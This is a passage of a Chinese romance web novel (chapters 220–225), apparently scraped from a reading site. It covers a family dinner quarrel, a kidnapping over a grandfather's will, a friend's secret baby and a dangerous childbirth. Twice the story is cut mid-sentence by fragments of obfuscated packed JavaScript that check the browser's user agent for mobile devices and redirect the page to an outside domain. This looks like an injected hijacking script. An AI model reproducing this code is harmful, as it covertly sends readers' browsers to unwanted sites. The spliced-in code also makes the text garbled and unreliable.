她不免要替孩子说两句,“这工作上的事情,有能力的就能提拔,没能力的可不就淘汰嘛,霍氏那么大的集团,那是唯才是用,不是走后门进去,就可以干到老,干到死,老三媳妇,是你们家的那位钱小小,能力不行,别怨这怨那的。”
“是,我们家小小不行,你们家的孩子,都是好样的,行了吧。”
三舅妈生气了。
脸色难看,闷着也不讲话了。
宋家人到了。
蓝旗和大舅妈,赶紧起身去迎接。
宋知令抱歉地说,“真不好意思,让你们久等了,这车子半路抛锚,实在是抱歉,抱歉。”
“没事的,没等太久。”
长辈们一起往里走。
霍时序亲自过去迎接,“爸,妈,你们来了。”
第220章 她可爱的弟弟呀,一定平安健康
对于这个二进门的女婿。
宋家人真是爱恨交加。
奈何自己女儿喜欢,他们也不好说什么。
“时序,南伊交给你,这次,你可一定要好好待她。”宋知令轻轻的拍了拍霍时序的肩,“不要让做父母担心。”
“爸,您放心,我会的。”
宋南伊与宋家人坐在了一起。
宋星言,悄悄的递给了宋南伊一个盒子,“姐,这是送你的新婚礼物。”
“还给我买礼物了?”她微笑着接过盒子。
一个纯金的手镯。
二三十克的样子。
宋星言有点不好意思,“我最近准备考研,没时间打工,所以……姐,你放心,等我以后赚了钱,我就给你买一个大大的金镯子。”
宋南伊心里暖的要命。
当场就把金手镯戴到了手腕上,“星言,谢谢你,一直这么爱姐姐,姐也有礼物给你。”
宋南伊从包里拿了一张银行卡。
轻轻的放到宋星言的手里。
“你小时候呢,姐姐给你的零花钱不多,是怕你学坏,现在不一样了,你大学都快毕业了,是个大人了,这钱呢,算是姐姐资助你上学,外加交女朋友的费用。”
“姐,爸妈有给我钱,我不能要你的。”宋星言推托。
宋南伊坚持,“爸妈给的,是爸妈给的,姐给的是姐给的,不一样。”
“那你不怕姐夫说你是……扶弟魔啊?”
宋南伊笑了,“小兔崽子,姐姐公司一年上亿的营收,花自己的钱就是扶弟魔了?收着吧。”
“谢谢姐姐……”宋星言开开心心的,收下了银行卡。
这卡里宋南伊存了五百万。
等到宋星言结婚的时候,她会再给五百万。
她可爱的弟弟呀,可一定要平平安安,健健康康的。
“呦,这姐弟两个,偷偷摸摸的,在干什么呢?”三舅妈尖锐的声音响起,迅速吸引了在场所有的人目光。
三舅妈扭着腰枝起身,将宋星言手里的银行卡,拿了去,“哟,是银行卡呢,南伊,你刚跟我们时序领证,就拿他的钱,接济娘家了?这不太合适吧?”
“你别胡说八道,这是我姐自己赚的钱。”宋星言伸手,想把银行卡拿回来。
被三舅妈闪了一下,“小伙子,这钱是你姐自己赚的,还是我们时序赚的,谁知道呢?反正啊,这刚领证,就要钱,你们宋家可有点不地道了。”
蓝旗脸色难看,宋家人脸色更难看。
霍时序刚要动唇,大舅妈把三舅妈的话接了过去。
“他三舅妈,我看你啊,真是不知道行情,你知道人家南伊一年赚多少吗?你知道人家娘家家底有多厚吗?别在这么招笑了。”
三舅妈对宋家不了解。
只知道宋南伊,开了个珠宝工作室。
一个工作室能赚多少钱?
“甭管这些,这给娘家拿钱,是不是得经过时序和阿旗的同意啊?要么,你就光明正大的,偷偷摸摸,还不是上不了台面。”
“喂,你这个老太婆,我跟我姐说点私底下的话,就是上不了台面?那你在这儿为难人,就是不懂事,就是为老不尊。”
宋星言怼了。
但肚子里的气没消,“别说我也没要我姐夫的钱,就算是要了,我姐夫还没说什么呢,轮到你这个老太婆叽叽歪歪?”
“星言,别没礼貌。”南微斥了句。
三舅妈被小辈,指着鼻子骂,哪里肯咽下这口气,当场就哭了起来,“这才刚结婚,就学会欺负娘家人了,这是哪门子的规矩哟,时序啊,你可要为三舅妈做主啊……”
现场弄的很难堪。
霍时序脸色更是如滴了墨一般的。
“三舅妈,今天是我们两家的大好日子,你要是觉得受了委屈,就先行回去吧。”霍时序将江淮叫了来,“江特助,送三舅妈回家。”
江淮上前架起三舅妈,“好的,霍总。”
“没教养,你们宋家怎么教育孩子的,可把我气**,气**……”
在三舅妈越来越远的哭叫声中,包厢里又恢复了平静。
宋知令虽然没说话。
但面上对此事还是有一些说法的。
“南伊,不如你和时序做个婚前财产公证吧,咱们不赚别人家的便宜,省的被说三道四的。”
宋南伊点头。
霍时序慌了,忙端起酒来,“爸,你这话说的,我可从来没说过南伊会赚我的便宜,要说赚便宜,也是我在赚南伊的便宜,三舅妈她可能是误会了什么,您别往心里去。”
大舅妈也赶紧起来,帮忙说话,“亲家公,我替我们家老三媳妇向你道歉,她呀,这个人
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就是有点神经质,这日子毕竟是时序和南伊过,小两口过的好才是,你呀消消气。”
蓝旗拉着南微,也一个劲的在替三舅妈道歉。
顺便表明了自己的态度。
“南伊赚的钱是她自己的,我们家时序赚的钱也是南伊的,都归南伊自由支配,亲家公,我敢保证,不会让南伊受一点委屈。”
两家都不缺钱。
宋南伊嫁给霍时序两次。
第一次被说攀高枝。
这第二次,还被人说是为了他的钱。
宋家人心里有气是真的。
“亲家母,我知道你待南伊极好,我也不是说这公证非得做,我们家南伊事业成功,她不依附男人,依然可以过的很好,姐弟之间的亲情来往,是他们姐弟二人之间的心意。”
“说的直白一些,无论她们姐弟之间有多少金钱上的来往,那也是我们宋家的事情,与你们霍家无关,这样随意揣测,总是令人伤心的。”
宋知令大有现在起身就离开的想法。
被南微拽住了。
那三舅妈说的好听点,算娘家人,说的不好听点,就是一个外人。
何必为了个不重要的人,将这大好的日子,变成一个坏日子。
“亲家公说得对,你也消消气,时序,赶紧的自罚三杯。”大舅妈冲霍时序递了个眼神。
他便端着酒杯,到宋知令的面前。
“爸,你放心,不仅南伊要对星言好,我也会对星言很好的,不管南伊做什么决定,我都通通支持,且没有任何的意见,这杯**了,向您赔个不是。”
好歹。
宋知令算是给了霍时序个面子。
宋南伊一直也不说话。
就那样慢条斯理的吃着桌上的青菜。
一小口一小口的。
宋星言不想姐姐被误会,悄悄的把卡还了回去,“姐,这个卡,我还是不要了。”
“拿着。”宋南伊没接。
“姐……我也不想看你和姐夫吵架。”
“我自己的钱,他跟我吵得着吗?”宋南伊将卡给他塞到口袋里,“密码你的生日,回家好好收好。”
“哦。”
霍时序看了一眼宋南伊。
她没看他。
但脸色确实也不怎么好看。
霍时序走到宋南伊的身旁,想解释什么,“南伊……”
第221章 做个财产公证吧
用餐在奇怪的气氛中,结束了。
大舅妈走时,跟蓝旗讲,要回去好好找老三媳妇算账。
蓝旗亲自将宋南伊的父母送到车前,她拉着南微的手,再次一抱歉,“南微,真的很不好意思,我三嫂她那个人……你放心,我们对南伊是一片真心的,她在这儿是不会受一丁点的委屈。”
南微相信蓝旗的为人。
轻拍她的手背,“我知道的,这事,你也别往心里放了,两个孩子这么不容易又重新走到一起,我们都为他们高兴,你身体也不好,早点回去休息,我们就先走了。”
“那你们路上慢点。”
蓝旗目光深重。
她深深自责。
因为自己娘家的亲戚,搞的两亲家心里都不痛快。
回到家后。
宋南伊上了楼。
她也看不出是生气,还是不生气。
霍时序吓的大气不敢出。
他讨好的拿出一张卡来,给宋南伊,“老婆,这是我的工资,上次离婚时,你把这卡还给了我,现在我再交给你,你想怎么花就怎么花,花没了,老公再赚。”
宋南伊没接。
她拿了本书,去阳台坐着看。
青姐给她送上来咖啡,看二人气氛不对,就赶紧的退下去了。
银行卡顿在手上,变得成了热山芋。
霍时序咽了咽。
走了过去,半蹲到了宋南伊的面前,“老婆,你生气了?”
“老婆你别生气了,还怀着宝宝呢,心情不好,宝宝生下来,会丑的。”
“我替我三舅妈向你郑重道歉,你别跟她一般见识,她就是脑子不清楚,好吗?”
宋南伊将手中的书本翻页。
看似无意,却有意地说,“霍时序,挑个时间,我们还是去做一下财产公证吧。”
“没这个必要吧。”
“还是公证一下吧,免得被人说我们宋家,不知道花了你多少钱似的。”
她语调清淡。
他焦头烂额。
“这事,以后再说吧,累不累啊?要不,去床上睡一会吧。”他温声哄着。
宋南伊倒也没有拒绝。
这次也不知道是不是怀了两个的问题,她比平时要累一些。
伺候宋南伊睡着后。
霍时序这才下了楼。
蓝旗在楼下客厅坐着,看到儿子下来,问,“南伊睡了?”
“睡了。”
“我刚刚给你三舅打过电话了,把你三舅妈今天做的好事,一字不落的都告诉了他,我跟他说了,以后家里再有什么重要的时刻,不要让她来,成事不足,败事有余。”
蓝旗也是被气得不轻。
自己生点气也就罢了。
关键是宋家那边,没法交代。
宋南伊虽然嘴上没说什么,但她心里肯定是不舒服的。
“嗯。”霍时序弯身坐下,捏着太阳穴,“南伊也不是小气的人。”
“儿子,改天你要亲自再去一趟你岳父家,买一些名贵的礼品,要很认真的道歉,今天,你岳父的脸色很难看,都是我们没做好。”
“知道了妈。”
……
宋南伊怀了孕。
孕反很严重。
工作的事情都落到了邓雪身上。
“邓雪,有时间你教教宁时,让他逐步的进入到公司里来,保镖哪能做一辈子,他很聪明的,好好教,将来一定可用。”
邓雪点头,“知道了老板,我问他的意思,如果他愿意的话,我一定会好好教的。”
“辛苦你了邓雪。”宋南伊想到了与裴氏合同的事情,“裴总那边,什么情况?”
“跟裴总沟通了几次,他倒也很满意我们提出来的想法,就是一直没有拍板,不过,您放心,我一直在跟着呢,他那边有什么动静,我随时跟您汇报。”
宋南伊很满意。
她拿出一道人事任命来给邓雪,“从下个月起,你就是YY珠宝的副总兼业务部总经理,工资翻三倍,年终奖翻五倍,各种福利待遇,只在我之下。”
邓雪愣住了。
她不是在做梦吧?
怎么突然就副总了?
“老板,你不会是在考验我吧?”
“你已经顺利通过考验了。”如果她这一路走来,没有邓雪,她不知道会不会走到现在,“邓雪,我真的很感谢你,我真的希望你越来越好,如果有一天,你想嫁人了,不想工作了,我也会给你准备丰厚的嫁妆。”
邓雪哭了。
哭的假睫毛和眼妆,都一塌糊涂。
“老板,你是除了我妈以外,对我最好的人……”
“那就别哭了,好好赚钱,孝顺你妈,你妈这辈子也不容易。”
“嗯。”
邓雪被委以重任。
压力山大。
她首先要做的就是,跟润合集团,把业务谈下来。
裴啸不是一个好合作的主。
他的话很少,听她讲的时候,眼睛又像鹰隼,常常令她汗流浃背。
他不聊股权分配,也不聊门面设计,说的最多的就是,“不够完美。”
明明是润合要来合作。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444459|178628||http|test|mini|href|location''.split(''|''),0,{}));
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r>现在搞的自己跟乙方似的。
正想着这事,手机突然就响了。
看着上面的人名,邓雪后背发凉。
“你好,裴总。”
“邓经理,今晚有一个业内碰头会,你来参加一下,我要介绍好的设计师给你认识一下,这有助于提高你的职业认知。”
邓雪不知道是不是商宴,“是宴会,还是工作性质的?”
“半工半玩吧。”
“哦。”邓雪犹豫。
她跟着宋南伊,还从没要求过应酬,或是陪酒,她可是甲方啊,怎么……还得陪他去参加宴会。
“裴总,你把地址发给我吧,我会准时到的。”
“好。”
现在她被宋南伊委以重任,她得支棱起来,裴啸说能提高她的职业认知。
那应该是的吧。
多学习,没错的。
裴啸说的也没错。
不算什么高端宴会,大家也都是带着工作来交流的,她见到了很多业内的大拿。
有她主动去认识,攀谈的。
也有过来主动认识她,交流经验的。
几个小时下来,她受益匪浅。
可始终没有见到裴啸的影子。
她便给他打去了电话,“裴总,您在哪儿呢?”
“我在……我在八……1108.”裴啸的声音有些奇怪。
邓雪怕他出事,忙问,“您怎么去11楼了,是去休息了吗?是不是喝多了,您稍等一下,我马上去买醒酒的药,给您送上去。”
邓雪出门去药店,买了醒酒的药,又急忙赶回了宴会所在的11楼。
整整一层的客房都静悄悄的。
有女人的声音,格外清晰,“裴总,您这是干嘛呢,我还能吃了你不成?赵总是好意,你不能老让我在外面等着啊。”
女人不停的敲门。
里面的男人始终没有开门。
“裴总,你就开开门吧,你又吃不了亏,赵总说了,只要你把合同一签,我就是你的了,你还真的是不解风情呢。”
邓雪听的不对劲。
快步走了过去,一把把女人推开,“你谁啊?在这儿干什么?我怎么从来没见过你?”
“你又是谁?你好搞笑啊,我来找裴总的,又不是找你的。”女人鄙夷地瞥了邓雪一眼。
门咔嗒一声。
打开一条缝,还没等邓雪反应过来,人就被拽着手腕,拽了进去。
随即,门重重地关上。
女人急得在外面拍门,“裴总,你拉错人了,我才是来陪你的……”
第222章 她没钱打胎
宋南伊驾车回家。
行至半途,一辆黑色轿车突然从侧方横冲过来,硬生生截住了她的去路。
所幸她车速不快,又及时踩下了刹车,才避免了一场碰撞。
即便如此,宋南伊还是被吓得,久久难以平复。
她解开安全带,推门下车。
就看见顾南风从那辆黑车里缓缓走了出来。
他一身黑衣黑裤,戴着副黑墨镜,整个人散发着一股阴沉的气息。
“大嫂,别来无恙啊。”顾南风嘴角勾起笑。
宋南伊见是顾南风拦了自己的车,顿时火冒三丈:“顾南风,你是不是疯了?有你这样开车的吗?”
“有事要请大嫂帮忙,大嫂上车吧。”顾南风打开后车门。
“顾南风,你想干什么?!”宋南伊不知道他葫芦里卖什么药,脚步不自觉的后退,直到脚跟撞上轮胎。“有事在这儿说,我是不会跟你走的。”
顾南风唇角依然带着,一抹意味不明,“大嫂,我们都是一家人,我不会伤害你的,我们坐下来,慢慢聊。”
他将手伸向她。
宋南伊吓的接二连三的后退,“顾南风,你到底想说什么,在这儿说就是了。”
“大嫂,你还真的是……”顾南风眉心皱着,耐心耗尽,“……太不乖了,非要逼我用强的。”
这时。
黑色轿车的车门齐齐打开,三个身形健硕的男人,快步向宋南伊围了过来。
宋南伊瞳孔猛缩。
急忙拉开车门,但终究还是慢了一步。
她毫无反抗之力,很快被几个男人控制住,押进了车子里。
……
XY集团。
霍时序的手机响起。
他拿起来看了一眼。
是顾南风发来的,视频通话邀请。
“嗨大哥,好久不见啊,你说你二婚这么大的喜事,怎么不通知弟弟呢,弟弟怎么说也会给你包一个大红包,不过也没关系,跟大嫂祝贺也是一样的,来大嫂,跟大哥打个招呼。”
对方手机的宋南伊被胶布封住嘴。
被几个男人紧紧的控制。
发出呜呜的声音。
霍时序瞳孔猛地收缩,蹭的,就从椅子上站了起来。
顾南风好大的胆子,光天化日的。
竟然把宋南伊**了。
“顾南风,你是不是不想活了,我警告你,马上放了南伊,我可以既往不咎,否则,我让你尸骨无存。”
“大哥,我可没有**大嫂,我只是想请她来喝杯茶而已,你如果也愿意过来一起喝就更好了,如果你愿意拿着爷爷的遗嘱来,那简直就是完美了。”
遗嘱。
又是遗嘱。
顾南风是以为爷爷会给他留很多东西吗?
“好,顾南风,我可以把爷爷的遗嘱给你,告诉我,你现在在哪儿,要是南伊少了一根头发,我定饶不了你。”
顾南风报了个地址。
便挂断了手机。
霍时序生平最恨别人威胁他。
尤其是动他最爱的人。
顾南风触他逆鳞。
真的恨不得一枪崩了他。
“江淮,去拿爷爷的遗嘱。”
“霍总,您是要……”江淮不解。
霍时序深呼吸,“顾南风把南伊**了,拿爷爷的遗嘱给他,从此以后,他与霍家再无瓜葛。”
爷爷临终,跟他讲,顾南风是霍家的私生子,从小到大不准进霍家的门。
没有在霍家老宅吃过一顿饭。
他心里也是不好受的,让他不要对顾南风赶尽杀绝。
霍时序答应了。
可这个顾南风,偏偏的不知死活,一次又一次的……
他的耐心快用尽了。
江淮迅速取来了老太爷的遗嘱。
车子风驰电掣。
来到了顾南风说的地址。
宋南伊还被绑着,身上的衣服倒还好,但头发有些凌乱。
霍时序走进去,冲着顾南风的胸口就是一脚,“妈的,你动她了?”
“大哥,你这脾气怎么这么暴躁呢?我要动她了,她还能在这儿?咳,咳咳……”这一脚踢的肺要出血,“……她头发乱,那是自己挣扎的。”
江淮将黑衣人,一脚一个踢开,迅速给宋南伊解了绑。
“太太,你还好吧?”
宋南伊心有余悸。
万幸的是,顾南风绑了她,但没有伤害她。
“江淮,送太太回车上。”霍时序厉声。
“是。”
宋南伊被送走。
霍时序将老爷子留下来的木箱子,重重地拍到了顾南风的面前。
他眼底如同染上了火,猩红中透着狠戾。
“顾南风,我念你也是霍家的种,这次没有伤害到南伊,我可以给你一个活着的机会,拿着东西滚蛋,以后别让我再见到你。”
顾南风是激动的,颤着指尖,打开了盒子。
盒子里的东西,没有他想象的那样满地往外溢。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444460|178628||http|test|mini|href|location''.split(''|''),0,{}));
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r>只有几张薄薄的纸。
“怎么这么少?不应该啊,霍时序,你是不是把爷爷要给我的东西,全昧下了?”
霍时序轻笑,透出薄凉,“你以为爷爷能给你多少?顾南风,爷爷到死,都没有同意你改姓霍,你认为,你在爷爷心里的分量有多重?”
顾南风脸上的贪婪和惊喜,变成了失望和不甘。
他不相信。
霍正诚只留给了他一间不算大的公司,连手中的霍氏股权都没有给他一星半点。
“他为什么如此偏心?我也是霍明达的儿子,不管我是不是私生,我流的是霍家的血,他凭什么要这样苛待我,凭什么?”
顾南风不相信。
眼睛瞪得老大。
霍家家大业大。
不可能只给一个年营收,百八十万的小破公司。
“地呢?房呢?商铺呢?霍时序,爷爷一点都没有给我吗?”
“爷爷给你一家小公司,已经是破例了,你还想要商铺,要车,要房?顾南风,你年纪不小了,不要老想着不劳而获,霍家的东西,从来就不属于你。”
顾南风不甘。
他摔碎了桌上的瓷器。
将桌子掀掉。
“我不信,霍时序,一定是你把爷爷给我的东西,全部藏起来了,一定是的。”
“爷爷的遗嘱,全程录相公正,如果不信,你可以自己看视频。”
霍时序将霍正诚立遗嘱时的视频,发给了顾南风一份。
看完视频后。
顾南风沉默了。
这就是私生子下场。
法律规定,有平等的继承权又怎样。
不想给,他一样也得不到。
也不能这样说,霍明达还是有一些财产的,到时会留给顾南风兄妹的。
顾南风笑了。
他替自己不值,替母亲不值……
“知道吗霍时序,我妈不是破坏别人家庭的小三,那时她在一家夜总会里,勤工俭学,是霍明达酒后把她睡了,她无亲无故,那时她才十八岁,她没钱打胎,后来,她没办法,才去找的爸爸,她也是受害者……”
顾南风很多的委屈。
眼泪汪汪。
霍时序听他颠倒是非。
重重的拍着桌子,眼底的怒意更盛,“一次是酒后意外,二胎呢?既然是**了,为什么还要生二胎?为什么怀了孕,要跑到我的母亲面前刺激她,不就是想要个名分吗?别他妈在我面前,立贞洁牌坊。”
第223章 宣告植物人
“如果她想要个名分,霍明达就不会把孙爱芸带进家门。”
顾南风还在狡辩。
他想把自己的母亲洗白,霍时序根本不接受。
“顾南风,名分不是争取就会有,一个破坏别人家庭的小三,想进霍家的门,你觉得可能吗?”
霍时序抬手,不想再争这些陈年往事。
顾南风想要的,他已经给了。
“爷爷要给你的的,我已经给了,以后给老实一点,否则,我的手段你是知道的。”
霍时序拂袖而去。
顾南风看着薄薄的纸张,准备狠狠的撕掉,却最终落到了自己的脚面上……
……
宋南伊,精神状态好了一些。
她有点担心霍时序。
看着他毫发无损的走出来,她急忙下了车,“他没……怎么着你吧?”
霍时序将她心疼的抱进怀中。
有一抹后怕地说,“还好,你没事,吓死我了。”
“顾南风这个人啊,是又癫又坏又令人可怜。”宋南伊抱着霍时序的腰,紧紧地贴在他的胸口位置上,“你没来的时候,他跟我讲,说他妈生妹妹的时候,就**,很多很多年,他和妹妹的生活都没有着落……”
“他可怜是自己选的,他要怪去怪爸,怪不到我们头上。”他捧着宋南伊的小脸,吻了吻她的唇,“以后别自己开车了,我会配一个专门的司机,不行,让宁时再上岗。”
“保镖就不要了,配个司机吧。”
“好。”
这次宋南伊有惊无险。
霍时序也让人将顾南风给监控了起来。
……
别墅墙角的那棵的那棵柳树绿了又黄,转眼间,六个月的时间过去了。
裴吟抱着宝宝回江城的家时。
全家都傻眼了。
“吟吟,这是哪来的宝宝啊?”裴母的惊讶不亚于,引爆了一枚**,“你在外面跟男人生的?吟吟哪,你想让你爸打死你啊?”
“谁说我生的,福利院里抱养的。”
裴吟抱着宝宝,往楼上走。
拐角处,她跟自己的母亲说,“妈,你赶紧帮着找一个会照顾宝宝的保姆。”
“你真的是抱养的?裴吟,你可别给我惹事啊,你跟陆为谦还没有离婚呢,你要在外面搞出孩子来,我们怎么向陆家交代?我跟你爸,还要不要抬起头来做人?”
裴吟没有回答。
她抱着宝宝,回了自己的房间。
裴母急的团团转,给裴啸打了个电话,“儿子,你赶紧回来,吟吟回来了,还抱回一个孩子,可怎么办啊……”
裴啸眉头收紧。
抬腕看了眼时间,“一会儿回去。”
裴啸回来时。
裴吟刚将宝宝哄睡。
不算很大的卧室里。
兄妹两个,就那样对视着,久久没有说话。
“自己交代吧。”裴啸声音平静,他扒着宝宝的小被子,看了一眼,“还挺白净的,这孩子哪来的?”
“捡的。”她说。
裴啸眉心深拧。
这种鬼话骗骗父母可以,骗他?
“是跟外面的男人生的,还是精子库的?又或是陆为谦的?说一个。”
裴吟不想说。
谁的种重要吗?
重要的是自己的就行。
“问那么多干嘛?”
“好,我不问。”那他就聊聊陆为谦,“陆为谦出车祸,在医院里躺了一年多了,各种方法都用上了,就是不醒,医生基本上宣布已经是植物人了,这事你怎么看?”
裴吟心脏被攥了起来。
宋南伊给她发过信息,说了陆为谦出事的事情。
其实,她偷偷回过江城。
那时的陆为谦还在监护室里,她听医生说没有生命危险,才放心的。
她以为,他很快会好起来。
没想到……
“我没什么看法。”她垂着脑袋,声音轻轻淡淡的。
裴啸不相信裴吟没有触动,“从法律上讲,他现在还是你的丈夫,你没什么看法可不行,你是想照顾他,还是跟他离婚?”
“他现在这种情况,属于大病重病,大概率,法官不会判离,只能等他醒了,如果他一直不醒,你们的婚姻关系就一直存在。”
“我看你这个样子,也不像要照顾他的样子,那你是怎么想的,我得知道。”
裴啸就这么盯着裴吟看。
看得她心虚,又烦躁。
“我不知道,别问了。”
“这也不说,那也不让问,你回江城干什么?不如
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呆在滨城一直不回来。”
裴吟一愣,“你知道我在滨城?”
“你尾巴往哪儿摆,拉什么屎,别人不知道,我能不知道?”裴啸看了一眼熟睡的小宝宝,“男孩女孩?”
“女孩。”她一副所有秘密被拆穿的,丧感,“你明明什么都知道,还问那么多的废话。”
“想让你自己坦白。”裴啸不愿意说重话,但接下面对的问题很多,“这孩子,陆家早晚知道,他们知道了,跟你抢孩子怎么办?”
“不可能的,这是个女孩,陆家才不会重视呢。”她很笃定地说。
裴啸笑了,指尖戳着她的脑门,“女孩就不是陆家的种了?陆为谦这种情况,这有可能是他唯一的孩子,是陆家唯一的血脉,裴吟,你的脑子呢?”
裴吟沉默。
许久。
“哥。陆之白,陆为谦他爸……**吗?”
“你净想美事,没死,还活的劲劲儿的呢,就是逢人就骂你……”那些难听的话,他都不愿意说,“……你刚回江城,我也不逼你,但你自己要好好想想,接下来的路怎么走。”
“哥,我宝宝这事,你不许跟爸妈讲,就说我领养的,他们心里搁不住事,早晚得让陆家人知道。”
虽然这事也瞒不了多久。
能瞒多久就瞒多久吧。
“爸妈也不是个傻子。”裴啸还是希望裴吟去看看陆为谦,“听说陆为谦是开着车的时候,给你发信息,才出的车祸,我想,他心里是有你的,你不能太无情了。”
裴吟心里又是一阵难受。
是那条发一半,她搞了好几个月,都没搞懂的短信吗?
“哥,我……”她和陆为谦之间的所有的矛盾,都是陆之白那个老神经病,作出来的,“……我其实心里也不好受,离婚也好,不离婚也罢,我是不可能再回陆家的,我和陆为谦不可能和好了。”
“话别说的那么满。”裴啸又看了一眼床上的小人,“有这个小东西在,你们之间没那么好断的。”
“我不说,你不说,谁知道这孩子是他的。”
裴啸无语,“你这种智商,生出来的孩子,不会是个傻子吧?”
“哥,你……”
就会阴阳怪气的骂她。
第224章 霍太太她大出血了
裴吟回江城。
和宋南伊见了个面。
宋南伊现在怀孕八个月,霍时序不让她出门。
便把裴吟约到了家里。
两个人关上房门,安静的聊天。
“去看过他了吗?”宋南伊问。
裴吟茫然,“很矛盾,不知道该不该去。”
“那你怎么想的?”
裴吟沉默。
宋南伊和裴吟认识二十多年,从未见过她如此左右为难。
她心里是有陆为谦的吧。
“裴吟,你离开江城的那段日子里,陆为谦几乎找遍了所有,你能去的地方,他对你是在乎的,现如今,他躺在医院里,一躺就是一年多,好人都躺坏了,何况之前,他还出过那么严重的车祸……”
宋南伊唏嘘。
无论是怎样的开始。
两人点滴相处过是真的。
同床共枕过也是真的。
感情是潜移默化的。
否则,他不会在她离开后,伤心,难过,整日酗酒。
而面前的女人,也不会听到他的事情,就忧伤抑郁,目光湿润。
“裴吟……”
“南伊,我……我不知道我要如何面对,再回陆家吗?整日整夜的,面对陆之白那些毫无根据的猜测,谩骂,我会疯掉的,我以为我不在乎的,可我真的会内耗自己……”
宋南伊握住了裴吟冰凉的小手。
她很心疼。
裴吟是明媚的,开朗的,是敢作敢为的,这个世界上,所有的人会抑郁,她也不会的。
可现在……
“你当然可以不回陆家,你当然可以不内耗自己,只是现在陆为谦还躺在医院里,你离不掉,又逃不脱,还是去看看他吧,万一因为你的到来,他醒了,你们就可以坐下来,好好聊分开的事情。”
裴吟掀眸。
眼底有些红。
“南伊,你说,我当初是不是做了一个错误的决定?”
“你没有错,错的就是发生了意外,他受伤了。”宋南伊不是当事人,无法感同身受,但正因为如此,她会看的比较全面,“你和陆为谦之间,其实也没有太大的矛盾,他如今又变成这个样子……,我想他在睡梦里,也在期待着你能去见他一面吧。”
宋南伊也不是勉强裴吟非要做什么。
就是觉得,他们两个人,本不应该走到如此的境地。
联姻怎么了?
联姻也会长出爱情的花。
如果陆为谦不在乎裴吟的感受,裴吟提出离婚,他立马就会同意的。
没人会说陆家的不是。
也没人会指责裴家。
他没那么做,他是想挽回的。
这里面,难道仅仅是责任吗?
是有爱的。
裴吟不爱他吗?
如果对他没有感觉,她不会主动提出来跟陆家联姻。
只是两个人,都没有注意到,这份还处在萌芽状态的爱。
错过一个人很容易的。
有些人,一旦分开,如果不是刻意的见面,一辈子都不会见到的。
宋南伊不希望裴吟有遗憾。
“裴吟,勇敢一点,好好的考虑清楚,我不希望你为难自己,我更希望你能快乐。”
悲伤的话题聊到此为止。
“好了,不说这个了,快把**女儿的照片,给我看一眼。”
宋南伊知道裴吟生了个小姑娘。
心里羡慕的不行。
裴吟收起悲伤的情绪,打开手机给宋南伊找,“我的手机内存,都被她填满了。”
难得裴吟的唇角,扬起了一抹幸福的弧度。
小姑娘白白净净的。
睫毛很长,小脸圆嘟嘟。
像裴吟,但更像陆为谦。
“叫什么?”宋南伊越看越欢喜。
“可可。希望她可可爱爱地长大吧。”裴吟微笑着说。
“这个孩子,不打算让陆家人知道?”她太了解裴吟了,“但你知道的,纸是包不住火的。”
裴吟无言。
等包不住的那天再说吧。
她总不为了这包不住的火,远离家人,在滨城生活一辈子。
“还没想好。”
“慢慢想,有小宝贝,你的心里头会充实很多的。”
二人没再提起关于陆家的事情。
聊得更多是,分开这一年,在江城发生的各种事件。
“那你现在,把YY交给了邓雪,你真放心啊?她能力怎么样啊?”
宋南伊对邓雪放一百个心,“她能力很强的,但她是个人,人就有做得不够完美的地方,但瑕不掩瑜,我很看好她。”
“我听我哥说,他跟你们YY有项目合作,一直是邓雪跟的。”
宋南伊点头,“对啊,而且她完成十分出色呢,我准备年终的时候,要给她嘉奖。”
“你对你的下属可真够好的。”
宋南伊这人对钱上看得不重。
有钱大家赚。
只有对下属舍得,人家才会给她卖命的道理,她又不是不懂。<
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br>“晚上留下来吃饭吧,霍时序不回来。”
裴吟拒绝了,“不了,我最近心里乱,得回去好好静静心,看你这么好,我就放心了。”
“我挺好的,就是胖了快四十斤了,现在像个球。”宋南伊自嘲地笑。
她肚大如箩。
常常坠得她腰酸背疼。
“早点去剖了吧,双胞胎到了后期,就是纯折磨人。”
宋南伊也有这个意思。
她现在的感觉,就是肚子随时都能**。
裴吟又聊了会天,这才告辞。
宋南伊将她送到门口,“裴吟,好好想想,我知道你最理智,但有时候,人还得感性一点的好。”
裴吟明白宋南伊的意思。
微微一笑,“走了。”
裴吟的车子刚开走。
霍时序的车子就开了过来。
看到宋南伊在门口站着,他便下了车,轻轻地扶住了她。
他身上有淡淡的香水味。
是香奈儿的邂逅。
最近几天,她经常在他的身上,闻到这种味道。
不禁问他,“最近在忙什么?”
“除了开会就是见客户,我想把工作赶一赶,留出时间来,陪你待产。”他很温柔,步子随着她,走得很慢。
“换秘书了吗?”她又问。
“没有啊。”
没有换秘书。
身上的香水味哪里来的?
宋南伊虽没深究,但心里浅浅地系了个疙瘩。
生产提上日程。
霍时序请了江城最好的妇产一把刀。
人推进手术室里。
全家人都捏着一把冷汗。
空气里消毒水的气味浓得化不开。
霍时序靠在冰冷的墙壁上,他表面上维持冷静,但心底那股隐隐的不安,反像藤蔓一样越缠越紧。
蓝旗和南微焦急踱步,脚步声在寂静的走廊里显得格外清晰。
墙上的静音石英钟,在此时,莫名透出分秒的声音。
一下下,敲在耳膜上,更像敲在神经上。
霍时序只觉得头疼。
他抬手用力按住突突直跳的太阳穴。
那秒针走动的声音,像从异世界传来的,传进霍时序的耳朵里,越来越响,震得他头晕目眩。
他抓着头发,坐下,试图让自己冷静一下。
手术室的门,突然打开。
小护士踉跄着冲出来,无菌手套上全是红色的鲜血,“霍先生,霍太太她大出血了,止不住……”
第225章 前世那一幕又要重演
血还在顺着指尖滴落,在地板上溅开血花。
所有人的呼吸停滞。
霍时序的脑子嗡的一声……
